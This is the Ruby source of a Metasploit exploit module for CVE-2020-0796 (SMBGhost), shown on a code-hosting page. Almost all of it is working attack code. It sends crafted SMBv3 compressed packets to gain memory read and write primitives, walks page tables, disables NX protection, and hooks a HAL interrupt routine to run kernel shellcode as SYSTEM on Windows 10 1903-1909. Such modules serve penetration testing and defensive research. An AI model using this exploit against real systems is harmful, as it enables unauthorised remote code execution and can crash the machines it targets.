Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9prepend Msf::Exploit::Remote::AutoCheck1011LZNT1 = RubySMB::Compression::LZNT11213# KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent14KSD_VA_MAP = 0x80015KSD_VA_PMDL = 0x90016KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup1718MAX_READ_RETRIES = 519WRITE_UNIT = 0xd02021def initialize(info = {})22super(23update_info(24info,25'Name' => 'SMBv3 Compression Buffer Overflow',26'Description' => %q{27A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to28execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code29in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation30can take a few minutes as the necessary data is gathered.31},32'Author' => [33'hugeh0ge', # Ricerca Security research, detailed technique description34'chompie1337', # PoC on which this module is based35'Spencer McIntyre', # msf module36],37'License' => MSF_LICENSE,38'References' => [39[ 'CVE', '2020-0796' ],40[ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ],41[ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ],42# the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit43[ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ],44[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ],45[ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ],46[ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ]47],48'DefaultOptions' => {49'EXITFUNC' => 'thread',50'WfsDelay' => 1051},52'Privileged' => true,53'Payload' => {54'Space' => 600,55'DisableNops' => true56},57'Platform' => 'win',58'Targets' => [59[60'Windows 10 v1903-1909 x64',61{62'Platform' => 'win',63'Arch' => [ARCH_X64],64'OverflowSize' => 0x1100,65'LowStubFingerprint' => 0x1000600e9,66'KuserSharedData' => 0xfffff78000000000,67# Offset(From,To) => Bytes68'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78,69'Offset(LowStub,SelfVA)' => 0x78,70'Offset(LowStub,PML4)' => 0xa0,71'Offset(SrvnetBufferHdr,pMDL1)' => 0x38,72'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x1873}74]75],76'DisclosureDate' => '2020-03-13',77'DefaultTarget' => 0,78'Notes' => {79'AKA' => [ 'SMBGhost', 'CoronaBlue' ],80'Stability' => [ CRASH_OS_RESTARTS, ],81'Reliability' => [ REPEATABLE_SESSION, ],82'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ],83'SideEffects' => []84}85)86)87register_options([Opt::RPORT(445),])88register_advanced_options([89OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])90])91end9293def check94begin95client = RubySMB::Client.new(96RubySMB::Dispatcher::Socket.new(connect(false)),97username: '',98password: '',99smb1: false,100smb2: false,101smb3: true102)103protocol = client.negotiate104client.disconnect!105rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError106return CheckCode::Unknown107rescue Errno::ECONNRESET108return CheckCode::Unknown109rescue ::Exception => e # rubocop:disable Lint/RescueException110vprint_error("#{rhost}: #{e.class} #{e}")111return CheckCode::Unknown112end113114return CheckCode::Safe unless protocol == 'SMB3'115return CheckCode::Safe unless client.dialect == '0x0311'116117lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')118return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)119120CheckCode::Detected121end122123def smb_negotiate124# need a custom negotiate function because the responses will be corrupt while reading memory125sock = connect(false)126dispatcher = RubySMB::Dispatcher::Socket.new(sock)127128packet = RubySMB::SMB2::Packet::NegotiateRequest.new129packet.client_guid = SecureRandom.random_bytes(16)130packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) })131132packet.capabilities.large_mtu = 1133packet.capabilities.encryption = 1134135nc = RubySMB::SMB2::NegotiateContext.new(136context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES137)138nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512139nc.data.salt = "\x00" * 32140packet.add_negotiate_context(nc)141142nc = RubySMB::SMB2::NegotiateContext.new(143context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES144)145nc.data.flags = 1146nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1147packet.add_negotiate_context(nc)148149dispatcher.send_packet(packet)150dispatcher151end152153def write_primitive(data, addr)154dispatcher = smb_negotiate155dispatcher.tcp_socket.get_once # disregard the response156157uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length)158uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)']159uncompressed_data << [ addr ].pack('Q<')160161pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(162original_compressed_segment_size: 0xffffffff,163compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,164offset: data.length,165compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes166)167dispatcher.send_packet(pkt)168dispatcher.tcp_socket.close169end170171def write_srvnet_buffer_hdr(data, offset)172dispatcher = smb_negotiate173dispatcher.tcp_socket.get_once # disregard the response174175dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)176pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(177original_compressed_segment_size: 0xffffefff,178compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,179offset: dummy_data.length,180compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes181)182dispatcher.send_packet(pkt)183dispatcher.tcp_socket.close184end185186def read_primitive(phys_addr)187value = @memory_cache[phys_addr]188return value unless value.nil?189190vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}")191fake_mdl = MDL.new(192mdl_size: 0x48,193mdl_flags: 0x5018,194mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP),195start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff),196byte_count: 600,197byte_offset: ((phys_addr & 0xfff) + 0x4)198)199phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12200201(MAX_READ_RETRIES * 2).times do |try|202write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL))203write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)'])204205MAX_READ_RETRIES.times do |_|206dispatcher = smb_negotiate207blob = dispatcher.tcp_socket.get_once208dispatcher.tcp_socket.close209next '' if blob.nil?210next if blob[4..7] == "\xfeSMB".b211212@memory_cache[phys_addr] = blob213return blob214end215sleep try**2216end217218fail_with(Failure::Unknown, 'Failed to read physical memory')219end220221def find_low_stub222common = [0x13000].to_enum # try the most common value first223all = (0x1000..0x100000).step(0x1000)224(common + all).each do |index|225buff = read_primitive(index)226entry = buff.unpack('Q<').first227next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff)228229lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first230print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}")231pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first232print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, ''))233234phal_heap = lowstub_va & 0xffffffffffff0000235print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")236237return { pml4: pml4, phal_heap: phal_heap }238end239240fail_with(Failure::Unknown, 'Failed to find the low stub')241end242243def find_pml4_selfref(pointers)244search_len = 0x1000245index = pointers[:pml4]246247while search_len > 0248buff = read_primitive(index)249buff = buff[0...-(buff.length % 8)]250buff.unpack('Q<*').each_with_index do |entry, i|251entry &= 0xfffff000252next unless entry == pointers[:pml4]253254selfref = ((index + (i * 8)) & 0xfff) >> 3255pointers[:pml4_selfref] = selfref256print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}")257return pointers258end259search_len -= [buff.length, 8].max260index += [buff.length, 8].max261end262263fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')264end265266def get_phys_addr(pointers, va_addr)267pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))268pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))269pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))270pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))271272pml4e = pointers[:pml4] + pml4_index * 8273pdpt_buff = read_primitive(pml4e)274275pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000276pdpte = pdpt + pdpt_index * 8277pdt_buff = read_primitive(pdpte)278279pdt = pdt_buff.unpack('Q<').first & 0xfffff000280pdte = pdt + pdt_index * 8281pt_buff = read_primitive(pdte)282283pt = pt_buff.unpack('Q<').first284unless pt & (1 << 7) == 0285return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff)286end287288pt &= 0xfffff000289pte = pt + pt_index * 8290pte_buff = read_primitive(pte)291(pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff)292end293294def disable_nx(pointers, addr)295lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39)296ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8297pte_va = ((addr >> 9) | lb) & ub298299phys_addr = get_phys_addr(pointers, pte_va)300orig_val = read_primitive(phys_addr).unpack1('Q<')301overwrite_val = orig_val & ((1 << 63) - 1)302write_primitive([ overwrite_val ].pack('Q<'), pte_va)303{ pte_va: pte_va, original: orig_val }304end305306def search_hal_heap(pointers)307va_cursor = pointers[:phal_heap]308end_va = va_cursor + 0x20000309310while va_cursor < end_va311phys_addr = get_phys_addr(pointers, va_cursor)312buff = read_primitive(phys_addr)313buff = buff[0...-(buff.length % 8)]314values = buff.unpack('Q<*')315window_size = 8 # using a sliding window to fingerprint the memory3160.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break317va = va_cursor + (i * 8)318window = values[i...(i + window_size)]319next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 }320next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 }321next unless window[3].between?(0x20, 0x40)322next unless (window[0] - window[2]).between?(0x80, 0x180)323324phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first325next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12326327# looks legit (TM), lets hope for the best328# use WinDBG to validate the hal!HalpInterruptController value manually329# 0: kd> dq poi(hal!HalpInterruptController) L1330pointers[:pHalpInterruptController] = va331print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}")332333# use WinDBG to validate the hal!HalpApicRequestInterrupt value manually334# 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1335pointers[:pHalpApicRequestInterrupt] = phalp_ari336print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}")337return pointers338end339340va_cursor += buff.length341end342fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')343end344345def build_shellcode(pointers)346source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'), mode: 'rb')347edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded348user_shellcode = payload.encoded349edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt]350edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']351edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length352edata.data + user_shellcode353end354355def exploit356if datastore['DefangedMode']357warning = <<~EOF358359360Are you SURE you want to execute this module? There is a high probability that even when the exploit is361successful the remote target will crash within about 90 minutes.362363Disable the DefangedMode option to proceed.364EOF365366fail_with(Failure::BadConfig, warning)367end368369fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64370@memory_cache = {}371@shellcode_length = 0372pointers = find_low_stub373pointers = find_pml4_selfref(pointers)374pointers = search_hal_heap(pointers)375376@nx_info = disable_nx(pointers, target['KuserSharedData'])377print_status('KUSER_SHARED_DATA PTE NX bit cleared!')378379shellcode = build_shellcode(pointers)380vprint_status("Transferring #{shellcode.length} bytes of shellcode...")381@shellcode_length = shellcode.length382write_bytes = 0383while write_bytes < @shellcode_length384write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min385write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes)386write_bytes += write_sz387end388vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...')389write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'])390end391392def cleanup393return unless @memory_cache&.present?394395if @nx_info&.present?396print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...')397write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va])398end399400# need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck401vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...')402start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT403end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length404(start_va..end_va).step(WRITE_UNIT).each do |cursor|405write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor)406end407end408409module CorruptLZNT1410def self.compress(buf, chunk_size: 0x1000)411out = ''412until buf.empty?413chunk = buf[0...chunk_size]414compressed = LZNT1.compress_chunk(chunk)415416# always use the compressed chunk, even if it's larger417out << [ 0xb000 | (compressed.length - 1) ].pack('v')418out << compressed419420buf = buf[chunk_size..]421break if buf.nil?422end423424out << [ 0x1337 ].pack('v')425out426end427end428429class MDL < BinData::Record430# https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL431endian :little432uint64 :next_mdl433uint16 :mdl_size434uint16 :mdl_flags435uint16 :allocation_processor_number436uint16 :reserved437uint64 :process438uint64 :mapped_system_va439uint64 :start_va440uint32 :byte_count441uint32 :byte_offset442end443end444445446